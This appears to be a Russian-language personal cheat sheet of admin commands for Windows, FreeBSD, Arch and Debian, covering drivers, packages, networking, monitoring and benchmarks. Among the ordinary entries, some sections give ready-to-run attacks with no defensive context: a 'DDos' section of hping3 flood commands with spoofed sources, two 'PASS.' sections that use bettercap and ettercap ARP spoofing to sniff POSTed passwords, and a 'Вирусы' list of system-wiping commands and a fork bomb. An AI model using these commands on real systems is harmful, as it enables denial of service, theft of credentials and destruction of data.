Помощь

 WINDOWS


F8

bcdedit /set {current} bootmenupolicy legacy

bcdedit /set {default} bootmenupolicy standard


menu

bcdedit /set {globalsettings} advancedoptions true

bcdedit /deletevalue {globalsettings} advancedoptions


Пароль

netplwiz


Брандмауэр

netsh advfirewall reset

netsh advfirewall set allprofiles state on

netsh advfirewall set allprofiles state off


DISM

SFC /scannow

dism /online /cleanup-image /scanhealth

dism /online /cleanup-image /restorehealth


Garmin

Gmapsupp.img -- ваша карта

Gmapsup2.img -- другая карта

Gmapprom.img -- другая карта


SoftAP

netsh wlan set hostednetwork mode=allow ssid=12345678 key=12345678

netsh wlan start hostednetwork

netsh wlan stop hostednetwork

netsh wlan show hostednetwork

netsh wlan set hostednetwork mode=disallow

netsh wlan set hostednetwork mode=allow


DirectX

dxdiag

DriverStore

pnputil /?


Windows store

Get-AppxPackage  -AllUsers | Remove-AppxPackage


Защита

Set-MpPreference -PUAProtection 1 (0)


Командная строка.

ping beginpc.ru 

pathping yandex.ru 

tracert google.ru 

ipconfig /flushdns

FREEBSD


Установка nvidia.

# pciconf -lv | grep -B 4 VGA

# kldload linux

# kldstat | grep linux

# nano /etc/rc.conf >>> linux_enable="YES"

$ cd /usr/ports/x11/nvidia-driver

# make install\uninstall\clean

$ cd /usr/ports/x11/nvidia-xconfig

# make install\uninstall\clean

# nvidia-xconfig

# kldload nvidia

# nano /boot/loader.conf >>> nvidia_load="YES"

$ shutdown -r now


Установка AMD\ATI.

# pciconf -lv | grep -B 4 VGA

$ cd /usr/ports/graphics/mesa-libs

# make install\uninstall\clean

$ cd /usr/ports/graphics/drm-kmod

# make install\uninstall\clean

# nano /etc/rc.conf >>> kld_list="radeonkms"

$ shutdown -r now


Русификация консоли.

# nano /etc/login.conf

# cap_mkdb /etc/login.conf

# pw usermod user_name -L russian

# nano /boot/loader.conf >>> hw.vga.textmode=0


Bash.

# echo "/usr/local/bin/bash" >> /etc/shells

# chsh -s /usr/local/bin/bash user_name

# pw usermod user_name -s /usr/local/bin/bash


Управление питанием.

# pkg install policykit

# pw usermod user_name -G operator


Evince.

# nano /etc/rc.conf >>

dbus_enable="YES"

hald_enable="YES"


Температура.

# kldload coretemp\amdtemp

# kldstat

# sysctl -a | grep temper

# nano /boot/loader.conf >>>

coretemp_load="YES"

amdtemp_load="YES"


Пересборка мира.

# svnlite info /usr/src

# svnlite update /usr/src

# svnlite checkout https://svn.freebsd.org/base/head /usr/src

# chflags -R noschg /usr/obj/*

# rm -rf /usr/obj

---------------------

$ cd /usr

# git clone --depth=1 https://git.freebsd.org/src.git

$ cd /usr/src

# make -j4 buildworld

# make -j4 buildkernel KERNCONF="GENERIC-NODEBUG"

# make installkernel KERNCONF="GENERIC-NODEBUG"

$ shutdown -r now

$ cd /usr/src

# make installworld

$ shutdown -r now

------------------------

# cd /usr/src

# make -j4 buildworld

# make -j4 kernel

# shutdown -r now

# mergemaster -p

# cd /usr/src

# make installworld

# mergemaster -iF

# make check-old

# make delete-old

# make check-old-libs

# make delete-old-libs

# shutdown -r now

# cd /usr/src

# make -DBATCH_DELETE_OLD_FILES=true delete-old delete-old-libs

# make cleandir


Обновление портов.

# portsnap fetch

# portsnap extract

# portsnap fetch

# portsnap update


Синхронизация времени.

# ntpdate 1.pool.ntp.org


Мониторинг.

stat — показывает использование дисков.

gstat -a — используется для вывода только активных устройств


vmstat — показывает состояние виртуальной памяти и буфера.

vmstat 5 — отображает статистику раз в пять секунд

vmstat -z — показывает состояние буфера

vmstat -i — показывает состояние прерываний


iostat — выводит статистику по I/O усройств

iostat -d -w5 — показывать информацию по дискам, с периодичностью в пять секунд безостановочно

iostat -dx -w5 — показывает расширенную статистику


systat — отображает различные параметры системы.

systat -vmstat 1 — отображает суммарную системную статистику

systat -netstat 1 — показывает активные сетевые соединения

systat -ifstat 1 — отображает нагрузку сетевых интерфейсов

systat -tcp 1 — отображает статистику tcp-соединения, возможен просмотр по icmp, ip, icmp6, ip6

systat -iostat 1 — отображает нагрузку на процессов, дисковую подсистему

systat -swap 1 — показывает загрузку файла подкачки


netstat — показывает активные сетевые соединения.

netstat -w 1 — количество пакетов в настоящее время

netstat -ibt — вывод сетевых интерфейсов с разбивкой по IP адресам, отображает объём трафика, количество ошибок, коллизий.

netstat -rn — отображает таблицу маршрутизации


diskinfo -t ad0 – показывает информацию по диску, и делает тест на дисковую производительность.


sysctl — позволяет посмотреть параметры в системы и внести изменения, такие как стек tcp/ip, вирутальной памяти.

sysctl -a — показывает все параметры

sysctl kern.ipc.numopensockets — показывает количество открытых сокетов

sysctl kern.openfiles — показывает количество открытых файлов


df — утилита, которая показывает свободное место на дисках.                 

df -h — отображает слайсы, и свободное\занятое место.   

df -i — показывает количество занятых инодов.


fstat — показывает список открытых файлов.

fstat |grep http| wc -l — показывает список открытых файлов по процессу http


sockstat — отображает информацию о сокетах, сетевых и файловых.

sockstat -l — список портов открытых на прослушивание

sockstat -c список установленных соединений

sockstat -4, -6 — по протоколу ipv4 или ipv6


lsof — показывает информацию от откртых сокетах, файлах и сетевых соединениях.

lsof -i -n — показывает открытые интернет-соединения

lsof -i -n |grep ESTABLISHED — показывает открытые, и установленные сетевые соединения


ps auxww|grep имя\pid\откогозапущено — позволяет получить информацию по интересующему процессу.


mount — показывает смонтированные разделы.

swapinfo — показывает информацию о файле подкачки.


tunefs -p /tmp – показывает информацию о файловой системе.

ARCH


Pacman.

# pacman -Syy - обновление репы

# pacman -Su - обновление пакетов

# pacman -Qe\Qm\Qn\Qent - установленые пакеты

# pacman -S имя_пакета - установка пакета

# pacman -Sc - умная очистка кеша

# pacman -Scc - полная очистка кеша

# pacman -R имя_пакета - удаление пакета

# pacman -Rs имя_пакета - удаление пакета с зависимостями

# pacman -Rns $(pacman -Qqdt) - удаление пакетов сирот

# pacman -S man-pages-ru - manы на русском

# man -L ru <manpage> - русский man

# man -d -t

# LC_ALL=C pacman -Qi | awk '/^Name/{name=$3} /^Installed Size/{print $4$5, name}' | sort -h

# pacman -S fzf

# pacman -Qq | fzf --preview 'pacman -Qil {}' --layout=reverse --bind 'enter:execute(pacman -Qil {} | less)'

# pacman -S pacutils

# pacreport --unowned-files


Wlan.

# pacman -S net-tools

# ifconfig -a

# pacman -S wireless_tools

# pacman -S wpa_supplicant

# wpa_passphrase essid key

# cd /etc/netctl

# cp examples/wireless-wpa wlan0

# nano wlan0 - отредактировать интерфейс, имя essid, psk-ключ

# netctl enable \ disable wlan0

# ip link set wlan0 down \ netctl start wlan0


Nvidia.

$ ссылка

# pacman -S nvidia

# pacman -S nvidia-dkms

# mkinitcpio -p linux


Nvidia &&&xx install\reinstall.

# pacman -Rs nvidia-390xx

# pacman -Rs nvidia-390xx-utils

# pacman -Rs nvidia-390xx-dkms

$ systemctl reboot

$ git clone https://aur.archlinux.org/nvidia-390xx-utils.git

$ git clone https://aur.archlinux.org/nvidia-390xx.git

$ cd nvidia-390xx-utils

$ makepkg -sri

$ cd

$ cd nvidia-390xx

$ makepkg -sri

$ systemctl reboot

$ rm -rf nvidia-390xx-utils

$ rm -rf nvidia-390xx


Ati.

# pacman -S opencl-mesa


Шестеренки.

# pacman -S mesa-demos lib32-mesa-demos

# glxgears

# __GL_SYNC_TO_VBLANK=0 glxgears

# vblank_mode=0 glxgears


Запись с экрана.

$ ffmpeg -f x11grab -s 1920x1080 -r 25 -i :0.0 -vcodec qtrle screencast.mov

$ ffmpeg -f x11grab -s `xrandr | grep '*' | awk '{print $1}'` -r 25 -i :0.0 -vcodec qtrle screencast.mov

$ ffmpeg -f x11grab -s `xrandr | grep '*' | awk '{print $1}'` -r 25 -i :0.0 -vcodec libx264 -an -crf 20 output.mkv


Meltdown & Co.

# nanio /etc/default/grub - отредактировать строку

GRUB_CMDLINE_LINUX_DEFAULT="quiet nopti nospectre_v2 l1tf=off no_stf_barrier nospec_store_bypass_disable noibrs noibpb"

GRUB_CMDLINE_LINUX_DEFAULT="quiet mitigations=off"

# sudo grub-mkconfig -o /boot/grub/grub.cfg

# sudo dmesg | grep "Command line:"

# sudo grep -R . /sys/devices/system/cpu/vulnerabilities


Realtek.

# pacman -S wireless-regdb


Sway.

input * {

xkb_layout us,ru

xkb_options grp:alt_shift_toggle,grp_led:scroll

}


Копирование системы на другой носитель.

# pacman -S arch-install-scripts

# cfdisk - создать раздел sd&1

# mkfs.ext4 /dev/sd&1 -L root

# mount /dev/sd&1 /mnt

# cp -ax / /mnt

# arch-chroot /mnt pacman -S grub-bios

# genfstab -U /mnt >> /mnt/etc/fstab

# arch-chroot /mnt /bin/bash

# mkinitcpio -p linux

# grub-install /dev/sd&

# mount /dev/sd&1 /mnt

# grub-mkconfig -o /mnt/boot/grub/grub.cfg

# exit

# nano /etc/fstab - отредактировать несоответствия

# systemctl poweroff


Tor.

# pacman -S tor torsocks

# -u tor /usr/bin/tor

# systemctl enable tor

# systemctl start tor

$ socks://localhost:9050


Luakit.

# pacman -S lua51 lua51-filesystem lua-filesystem luajit webkit2gtk

# pacman -S git

$ git clone git://github.com/luakit/luakit.git

$ cd luakit

$ make

# make install

# pacman -S gst-libav gst-plugins-base gst-plugins-good


SSH+fail2ban.

# pacman -S openssh

# pacman -S fail2ban

# systemctl enable\disable sshd.service

# systemctl enable\disable fail2ban.service

# systemctl start\stop sshd.service

# systemctl start\stop fail2ban.service

# fail2ban-client status sshd

# ssh -X user@192.168.x.x

$ exit


VNSTAT.

# pacman -S vnstat

# systemctl enable\disable vnstat

# systemctl start\restart\stop vnstat

# vnstat -i eth0 --add\remove


Синхронизация времени.

# systemctl enable systemd-timesyncd.service

# systemctl start systemd-timesyncd.service


Изменеие размера изображений

# pacman -S imagemagick

# cd $

# for i in `ls`; do convert -resize '1920' -quality 65 $i $i; done


Warning mkinitcpio.

# git clone https://aur.archlinux.org/aic94xx-firmware.git

# cd aic94xx-firmware

# makepkg -sri

# git clone https://aur.archlinux.org/wd719x-firmware.git

# cd wd719x-firmware

# makepkg -sri

# git clone https://aur.archlinux.org/upd72020x-fw.git

# cd upd72020x-fw

# makepkg -sri


Ключи.

# pacman -Sy archlinux-keyring

# rm -rf /etc/pacman.d/gnupg

# pacman-key --init

# pacman-key --populate archlinux

# pacman -Su


Redshift.

# pacman install redshift

$ redshift -g 0.1:1:0.1 -l 0.0:0.0


Lib32.

# pacman -Rss $(comm -12 <(pacman -Qq | sort) <(pacman -Slq multilib | sort))


GRC.

# pacman -S grc

$ whereis grc

$ grc: /usr/bin/grc /etc/grc.conf /usr/share/grc /usr/share/man/man1/grc.1.gz

$ cat /etc/grc.conf

$ cat /etc/grc.conf | grep "conf\." | cut -d "." -f2 | awk '{print ("alias "$1"=\"grc --colour=auto "$1"\"")}' ->

$ nano .bashrs ->

if [ -f /usr/bin/grc ]; then

->

fi


Libtrash.

https://pages.stern.nyu.edu/~marriaga/software/libtrash/

$ nano .libtrash ->

TRASH_CAN = .Trash

INTERCEPT_RENAME = NO

IGNORE_HIDDEN = NO

IGNORE_EXTENSIONS =

UNREMOVABLE_DIRS=/home/arch/.cache/mc;/home/arch/.config/mc;/home/arch/.local/share/mc

GLOBAL_PROTECTION = NO

$ nano .bashrc ->

alias mc='LD_PRELOAD=/usr/local/lib/libtrash.so mc'



DEBIAN


firmware 

https://rutracker.org/forum/viewtopic.php?t=5550706


Команды.

# man

# uptime

# xrandr

# lscpu

# lspci

# lsusb

# lsblk

# fdisk -l

# free -m

# ps

# ps -aux

# ps -Af

# pstree

# uname -a

# df -h

# ifconfig

# glxinfo | grep -i opengl

# xdpyinfo | grep resolution

# smem -mkt | tail -20

# ls -ltrah

# host google.com


Утилиты.

# apt install bb

# apt install toilet

# apt install sl

# apt install cmatrix


Команды.

# cat /proc/meminfo

# cat /proc/cpuinfo

# watch grep \"Active:\" /proc/meminfo

# watch grep \"cpu MHz\" /proc/cpuinfo

# netstat -a | more

# netstat -lptnu

$ watch cat /proc/net/dev

$ watch netstat -i

$ watch ip -s link

# watch ifconfig

# curl ipinfo.io

# curl ifconfig.co

# ps -eo rss,user,comm --sort -rss | head -20

# ps -e -orss=,args= | grep имя_процесса | grep -v grep | perl -alne '{$rss+=$F[0]}END{print $rss}'

$ awk '{ print $1 }' .bash_history | sort | uniq -c | sort -hr | head

$ ls --time-style=long-iso -clt / | tail -n 1 | awk '{ print $7, $6}'


$ ls -laR /boot

$ df -hT

# fdisk -l

$ lsblk

$ cat /etc/fstab

$ blkid -c /dev/null


Железо.

# dmidecode

# dmidecode -t processor

# dmidecode -t memory

# dmidecode -t 17

# dmidecode -t bios

# lshw

# lshw -short


Порты.

$ ss -tl

$ ss -lu

$ ss -lntup

$ ss

$ netstat -pnltu

$ lsof -i

$ lsof -n -P | grep LISTEN

$ lsof -i tcp

$ lsof -i udp

$ nmap -sT -O localhost

$ nmap -sU localhost


Системный монитор Top

[1] Отобразить всю статистику по всем ядрам.

[c] Абсолютный путь расположения модуля команды и её аргументы.

[h] Вывести справку о программе.

[k] Уничтожить процесс. Программа запрашивает у вас код процесса и сигнал, который будет ему послан.

[M] Сортировать по объёму используемой памяти.

[n] Изменить число отображаемых процессов. Вам предлагается ввести число.

[P] Сортировать по загрузке процессора.

[r] Изменить приоритет процесса.

[u] Сортировать по имени пользователя.

[Z] Выбрать цвет подсветки.

[z] Подсветить работающие процессы.

[Пробел] Немедленно обновить содержимое экрана.

top -o RES

top -o %MEM


Скрипт inxi.

# apt install inxi

# inxi -Fx


Раскладка.

# /etc/defaults/keyboard

 XKBLAYOUT="us,ru"

 XKBOPTIONS="grp:alt_shift_toggle,grp_led:scroll"

# setxkbmap -layout 'us,ru' -option 'grp:ctrl_shift_toggle,grp_led:scroll'


Звук.

# apt-get install alsa-utils alsa-base alsa-tools

# alsactl init

# alsamixer

# alsactl store


МФУ.

# apt install printer-driver-all

# apt install cups cups-pdf

# apt install sane xsane

# http://127.0.0.1:631


Время.

# dpkg-reconfigure tzdata

# date MMDDhhmmYYYY.ss

# hwclock --set --date="xxxx-xx-xx xx:xx:xx" --localtime

# cp /usr/share/zoneinfo/Europe/Moscow /etc/localtime

# ntpdate 129.6.15.28


Погода.

# curl 'http://wttr.in'

'http://wttr.in'


Скриншотер. Базовый синтаксис:

# scrot desktop.png

# scrot -cd 5 countdown.png

# scrot -q 70 quality.png

# scrot -s file.png


Размеры папок и пакетов

# du --max-depth=1 / | sort -rn - размеры дирректорий персвого уровня в /

# du / | sort -rn - размеры всех дирректорий в /

# dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n - размеры установленных пакетов

# find / -type f -exec ls -s {} \; | sort -n -r | head -10 - размеры файлов


APT-GET.

# apt update - обновление списка

# apt -u upgrade - обновление пакетов

# apt-mark hold - заблокировать обновление пакета

# apt-mark unhold - разблокировать обновление пакета

# apt -u dist-upgrade - обновление дистра

# apt install --no-install-recommends xxx - установка пакета без рекомендаций

# apt install --no-install-suggests xxx - установка пакета без предложений

# apt-cache search xxx - описание пакета

# apt-cache show xxx - подробная информация о пакете

# apt-cache pkgnames xxx - поиск пакетов по имени

# apt --purge remove xxx -полное удаление пакета

# apt --purge autoremove xxx - полное удаление пакета, его зависимостей и конфигураций

# apt autoremove - удаление ненужных пакетов

# apt --purge autoremove - удаление ненужных пакетов с зависимостями и конфигурациями

# apt --purge autoremove `dpkg --get-selections | grep ":i386" | awk '{print $1}'`

# apt-key list - установленые ключи

# apt autoclean - автоматическая очистка кеша apt

# apt clean - полная очистка кеша apt

# nano /etc/apt/apt.conf.d/norecommends =>

APT::Install-Recommends "0";

APT::AutoRemove::RecommendsImportant "false";

APT::AutoRemove::SuggestsImportant "false";



Установка и удаление deb.

# dpkg -i /home/xxx.deb

# apt-get install -f

# dpkg -r xxx

# dpkg --remove --force-depends xxx

# dpkg -l | grep -Pv '^ii'


Редактирование deb.

$ dpkg -x xxx.deb /tmp/program - распаковать пакет в папку

$ mkdir /tmp/program/DEBIAN - создать информационную директорию

$ dpkg -e xxx.deb /tmp/program/DEBIAN - распаковать информацию о пакете

$ dpkg -b /tmp/program xxx-new.deb - собрать пакет


Установка rpm.

# apt-get install rpm

# rpm -ivh --nodeps xxx.rpm


Монитор.

# xset dpms force standby

# xset dpms force suspend

# xset dpms force off

# xset -dpms; xset s off

# xrandr

# xrandr --output VGA-1 --mode 1280x1024

# xrandr --output VGA-1 --brightness 1.0

# xrandr --output VGA-0 --mode 1920x1080 --pos 3840x0 --output DVI-I-0 --mode 1920x1080 --pos 0x0


Добавить разрешение.

# cvt 1280 720 - строка Modeline

# xrandr --newmode "1280x720" 74.50 1280 1344 1472 1664 720 723 728 748 -hsync +vsync

# xrandr --addmode VGA-1 1280x720

# xrandr --output VGA-1 --mode 1280x720


Запись образа USB CD DVD

# dd if=/dev/cdrom of=xxx.iso

# dd if=xxx.iso of=/dev/sdb

# dd if=~/xxx.iso of=/dev/cdrom

# wodim dev=/dev/hdc -eject -v xxx.iso


Дефрагментация.

# e4defrag -c /dev/sda? - сканирование

# e4defrag /dev/sda? - дефрагментация


Lan.

# ifconfig -a

# править /etc/network/interfaces - добавить сетевое устройство eth0

# reboot

# ifconfig


Wlan.

# apt install wireless-tools

# apt install wpasupplicant

# lspci

# lsusb

# apt install firmware-realtek - драйвер

# apt install firmware-ralink - драйвер

# apt install firmware-iwlwifi - драйвер

# apt install broadcom-sta-dkms - драйвер

# apt install broadcom-sta-source - драйвер

# apt install firmware-misc-nonfree - драйвер

# apt install firmware-atheros - драйвер

# apt install firmware-ath9k-htc - драйвер

# reboot

# ifconfig -a

# sudo nano /etc/network/interfaces - добавить сетевое устройство wlan0

 allow-hotplug wlan0

 iface wlan0 inet dhcp

# reboot

# iwlist wlan0 scan

# wpa_passphrase ssid key - генерировать psk-ключ

# sudo nano /etc/network/interfaces - добавить к сетевому устройству wlan0

 wpa-ssid "ssid"

 wpa-psk "psk-ключ"

# reboot

# ifup wlan0

# wpa_cli status

# ifdown wlan0


Подключение по ssh.

# ssh -X user@192.168.x.x


Температура.

# apt-get install lm-sensors

# sensors-detect

# sensors

# apt-get install hddtemp

# sudo ln -s /usr/sbin/hddtemp /usr/bin/hddtemp

# sudo chmod a+s /usr/sbin/hddtemp


DDos

# apt install hping3

# hping3 -S -p 80 --flood xx.xx.xx.xx

# hping3 -S -p 80 --flood -a qq.qq.qq.qq xx.xx.xx.xx

# hping3 -S -a qq.qq.qq.qq --flood -p 80 xx.xx.xx.xx

# hping3 -S xx.xx.xx.xx -i u1 --rand-source -p 80

# hping3 --udp xx.xx.xx.xx -i u1 --rand-source -p 80

# hping3 --icmp xx.xx.xx.xx -i u1 --rand-source

# hping3 xx.xx.xx.xx -p 80 -R --rand-source --faster

# hping3 --udp xx.xx.xx.xx -i u1 --rand-source --destport 53 -x -g 500 -m 1000 -d 1000

# hping3 --udp xx.xx.xx.xx -i u1 --rand-source --destport 53


Видеокарта Nvidia.

# lspci | grep -E "VGA|3D"

# apt install nvidia-detect

$ nvidia-detect

или

# sudo apt install nvidia-kernel-dkms

# glxinfo | grep -i opengl

$ glxgears


Видеокарта ATI Radeon

# apt install firmware-amd-graphics

# apt install mesa-opencl-icd

# apt install radeontop

# glxinfo | grep rendering


Тест HDD.

# apt install fio

# fio -readonly -name iops -rw=randread -bs=512 -runtime=20 -iodepth 32 -filename /dev/sda -ioengine libaio -direct=1

# apt install hdparm

# hdparm -I /dev/sdX

# hdparm -tT /dev/sdX

# hdparm -M /dev/sdX

# hdparm -B254 /dev/sdX

# apt install smartmontools

# smartctl -iA /dev/sd?

$ dd if=/dev/zero of=archivo.img count=1K bs=1M conv=fdatasync

# sudo badblocks -v /dev/sdc1 > badsectors.txt


Test Sysbench.

# apt install sysbench

$ sysbench --test=cpu --cpu-max-prime=20000 run

$ sysbench --test=memory run

$ sysbench --num-threads=64 --test=threads --thread-yields=1000 --thread-locks=8 run

Тест файловой системы. 1 - генерация файлов для теста, 2 - тест, 3 - удаление сгенерированых файлов

$ sysbench --num-threads=16 --test=fileio --file-total-size=3G --file-test-mode=rndrw prepare

$ sysbench --num-threads=16 --test=fileio --file-total-size=3G --file-test-mode=rndrw run

$ sysbench --num-threads=16 --test=fileio --file-total-size=3G --file-test-mode=rndrw cleanup


Тест процессора dc + 7z b

# sudo apt-get install dc

$ time echo '2 1000000 ^ p'|dc

$ 7z b


Время запуска системы.

# systemd-analyze critical-chain

# systemd-analyze blame

# systemd-analyze blame --user

# systemctl list-unit-files | grep enabled

# systemd-analyze plot > boot_analysis.svg


Учетная запись.

# su

# adduser xxx

# userdel -r xxx


Sudo.

# su

# apt-get install sudo

# adduser имя_учетной_записи sudo

# reboot


Смена альтернатив.

# sudo update-alternatives --config имя_умолчания


Вирусы.

# rm -rf / --no-preserve-root

# sleep 7200 && rm -rf --no-preserve-root / && init 0

# rm -rf / --no-preserve-root --no-preserve-uefi-mountpoint --disable-confirmation-dialog-and-crack-computer-with-unpossibilities-of-restoring

$ :( ){ :|:& };:


Rootkit.

# apt install rkhunter unhide

# rkhunter --versioncheck

# rkhunter --update

# rkhunter --propupd

# rkhunter -c --enable all --disable none


Восстановление файлов.

# sudo apt-get install scalpel

# sudo nano /etc/scalpel/scalpel.conf       - раскоментить необходимое для восстановления

# sudo scalpel /dev/sda1 -o output


Монтировать ISO образ.

# sudo mkdir /media/myiso  - директория для монтажа

# sudo modprobe loop   - загрузить модуль

# sudo mount xxx.iso /media/myiso/ -t iso9660 -o loop  - монтировать

# sudo umount /media/myiso/  - размонтировать

# sudo mount -o loop xxx.iso /mnt

# sudo umount /mnt


Монтировать разделы.

$ cat /proc/partitions

# sudo blkid

# sudo apt-get install ntfs-3g

# sudo mkdir /media/sdxx

# sudo chmod 777  /media/sdxx

# sudo mount /dev/sdxx /media/sdxx

# sudo mount -t ntfs-3g /dev/sdxx /media/sdxx

# sudo mount -t ntfs-3g /dev/sdxx /media/sdxx -o umask=0,nls=utf8

# sudo apt install makefs

# sudo mount -t ufs -o ufstype=ufs,ro /dev/sdXX /mnt


Обновить ядро.

# nano /etc/apt/sources.list

# apt update

# apt-cache search linux-image

# sudo apt install желаемый_linux-image

# apt install -t имя_дистра-backports желаемый_linux-headers_linux-image

# apt -t experimental install желаемый_linux-image-trunk

# dmesg | egrep -i --color 'errors|critical|failed'


Компилировать ядро.

https://www.kernel.org/

# apt install fakeroot kernel-package libncurses5-dev libssl-dev mitmproxy

$ tar xf ~/linux-xxx.tar.xz

$ cd linux-xxx

$ cp /boot/config-x.xx.x* .config

$ make menuconfig

$ ln -s ./Documentation/admin-guide/reporting-bugs.rst REPORTING-BUGS       >4.10

$ make-kpkg configure

$ make-kpkg clean

$ export CONCURRENCY_LEVEL=2

$ time make-kpkg --rootcmd fakeroot --revision 1.0 --initrd kernel_image kernel_headers


Генерировать xorg.conf

# /etc/init.d/?dm stop

$ cd /etc/X11/

# Xorg -configure

# nvidia-xconfig

$ startx

$ nano xorg.conf.new -> Section "Device" -> Driver "nvidia"


Установка Wine-builds.

$ https://wiki.winehq.org/Debian

# sudo dpkg --add-architecture i386

$ wget https://dl.winehq.org/wine-builds/Release.key

# sudo apt-key add Release.key

# sudo nano /etc/apt/sources.list   добавить deb https://dl.winehq.org/wine-builds/debian/ DISTRO main

# sudo apt update

# sudo apt install --install-recommends winehq-devel

$ winecfg

$ wine explorer /desktop=shell


Частота CPU.

# sudo apt-get install cpufrequtils

$ cpufreq-info

# cpufreq-set -g powersave -c x

$ watch grep \"cpu MHz\" /proc/cpuinfo


Запись аудио потока.

# sudo apt install streamripper

$ streamripper http://xxx.xx

$ ffmpeg -i 'https://xxx.xx' -c copy record.mp3


C.A.V.A.

# apt install libfftw3-dev libasound2-dev libncursesw5-dev libpulse-dev libtool automake libtool git pulseaudio

$ https://github.com/karlstav/cava

$ ./autogen.sh

$ ./configure

$ make

$ ./configure --enable-debug

# make install

# make uninstall ibgstreamer-plugins-base1.0-dev libgstreamer-plugins-bad1.0-dev


PASS.

# sudo apt install build-essential ruby-dev libpcap-dev

# sudo gem install bettercap

# sudo bettercap -XL

# sudo bettercap --proxy -P POST

# sudo bettercap -T 192.168.x.x --proxy -P POST

# sudo bettercap --proxy --proxy-https -P POST

# sudo bettercap -T 192.168.x.x --proxy --proxy-https -P POST


PASS.

# sudo apt install ettercap-text-only

# echo '1' > /proc/sys/net/ipv4/ip_forward

# nano /etc/ettercap/etter.conf   - отредаектировать строки

  ec_uid = 0                # nobody is the default

  ec_gid = 0                # nobody is the default

 if you use iptables:

  redir_command_on = "......        - раскомментировать #

  redir_command_off = "......        - раскомментировать #

# ettercap -T -V text -P autoadd -SM arp:remote /// ///

# ettercap -T -V text -P autoadd -qSM arp:remote /// ///

# ettercap -T -V text -P autoadd -qSM arp:remote /192.168.1.1// /192.168.1.2-xx//


Квадраты в tty.

# nano /etc/systemd/system/multi-user.target.wants/console-setup.service

ExecStart=/lib/console-setup/console-setup.sh  - заменить на ExecStart=/bin/setupcon


Шрифт.

# sudo apt install xfonts-terminus

# sudo dpkg-reconfigure console-setup


Midi.

# modprobe snd-seq-device

# modprobe snd-seq-midi

# modprobe snd-seq-oss

# modprobe snd-seq-midi-event

# modprobe snd-seq


Luakit - высокоинтелектуальный браузер  ОФ.сайт https://github.com/luakit/luakit

# sudo apt install git

# sudo apt install build-essential

# sudo apt install gtk+-3.0

# sudo apt install lua5.1

# sudo apt install lua-filesystem

# sudo apt install webkit2gtk-4.0

# sudo apt install sqlite3

# sudo apt install libluajit-5.1-dev

# sudo apt install libsqlite3-dev

# sudo apt install uuid-dev

$ git clone git://github.com/luakit/luakit

$ cd luakit

$ make                                                                  - компиляция

# sudo make install                                                      - установка

# sudo make uninstall                                                     - удаление

# sudo apt install ibgstreamer-plugins-base1.0-dev libgstreamer-plugins-bad1.0-dev


Firewall.

# iptables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m hashlimit --hashlimit 1/hour --hashlimit-burst 2 --hashlimit-mode srcip --hashlimit-name SSH --hashlimit-htable-expire 60000 -j ACCEPT

# iptables -A INPUT -p tcp -m tcp --dport 22 --tcp-flags SYN,RST,ACK SYN -j DROP

# iptables -A RH-Firewall-1-INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT


Log's.

# journalctl -b

# journalctl -b | grep поиск_значение


USB - info.

# udevadm monitor --property --kernel --udev     - подсоединить флешку


Virtualbox.

# apt install virtualbox

# /usr/bin/VBoxManage createvm --name xxxx –register

# /usr/bin/VBoxManage createhd --filename xxxx.vdi --size 1000 --variant Fixed

# /usr/bin/VBoxManage storagectl xxxx --name "IDE Controller" --add ide --controller PIIX4

# /usr/bin/VBoxManage storageattach xxxx --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium xxxx.vdi

# /usr/bin/VBoxManage storageattach xxxx --storagectl "IDE Controller" --port 0 --device 1 --type dvddrive --medium xxxx.iso

# /usr/bin/VBoxManage modifyvm xxxx --nic1 bridged --cableconnected1 on --bridgeadapter1 eth0

# /usr/bin/VBoxManage startvm xxxx


Wayland.

# apt install weston

# nano ~/.config/weston.ini

    [keyboard]

    keymap_rules=evdev

    keymap_model=pc105

    keymap_layout=us,ru

    keymap_options=grp:alt_shift_toggle,grp_led:scroll


Web camera.

# ls -l /dev/ | grep video

# chown root:video /dev/video0

# chmod g+rw /dev/video0

$ ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 out0.mpg

$ mpv av://v4l2:/dev/video0


Journald.

# journalctl --disk-usage

# journalctl --vacuum-size=10M

# journalctl -p err..alert


Tor.

# apt install tor

$ socks://localhost:9050


Locate.

# apt install locate

# updatedb

# locate -i name


Background.

$ feh --bg-tile -k https://source.unsplash.com/random/1920x1080

$ exec --no-startup-id cd /tmp && feh --bg-tile -k https://source.unsplash.com/random/1920x1080

$ exec --no-startup-id feh --bg-tile http://lorempixel.com/1920/1080


Журналирование разделов.

# umount /dev/sdXX

# tune2fs -o journal_data_writeback /dev/sdXX

# tune2fs -O ^has_journal /dev/sdXX

# e2fsck -f /dev/sdXX


Fsck.

# fsck -y /dev/sdXX

# reboot -f


Разрешение grub и tty.

# nano /etc/default/grub >

    GRUB_GFXMODE=1024x768x32

    GRUB_GFXPAYLOAD_LINUX=1280x1024x16

# sudo update-grub


User_agent.

Mozilla/5.0 ({os_info}) AppleWebKit/{webkit_version} (KHTML, like Gecko) {qt_key}/{qt_version} {upstream_browser_key}/{upstream_browser_version} Safari/{webkit_version}


Android mount.

# apt install go-mtpfs

# go-mtpfs /mnt

# fusermount -u /mnt


iptables.

sudo iptables -F

sudo iptables -t nat -A POSTROUTING -o enp2s0 -j MASQUERADE

sudo iptables -A FORWARD -i enp2s0 -o enp2s0 -j REJECT

sudo iptables -I FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu

sudo iptables-save


TLP.

# apt install tlp

# tpl-stat

# nano /etc/tlp.d/00-template.conf

TLP_DEFAULT_MODE=BAT

TLP_PERSISTENT_DEFAULT=1

CPU_SCALING_MAX_FREQ_ON_BAT=800000

DISK_DEVICES=

# systemctl enable\disable\start\stop\restart tlp


Experimental\Unstable\Testing.

# nano /etc/apt/sources.list.d/testing.list =>

deb http://deb.debian.org/debian testing main contrib non-free non-free-firmware

# nano /etc/apt/sources.list.d/unstable.list =>

deb http://deb.debian.org/debian unstable main contrib non-free non-free-firmware

# nano /etc/apt/sources.list.d/experimental.list =>

deb http://deb.debian.org/debian experimental main contrib non-free non-free-firmware

# nano /etc/apt/preferences.d/preferences =>

Package: *

Pin: release a=experimental\unstable\testing

Pin-Priority: 900

# apt update\upgrade\dist-upgrade


Tmpfs.

# cp /usr/share/systemd/tmp.mount /etc/systemd/system/

# systemctl enable tmp.mount

$ nano ~/.profile =>

export XDG_CACHE_HOME="/tmp/.cache"

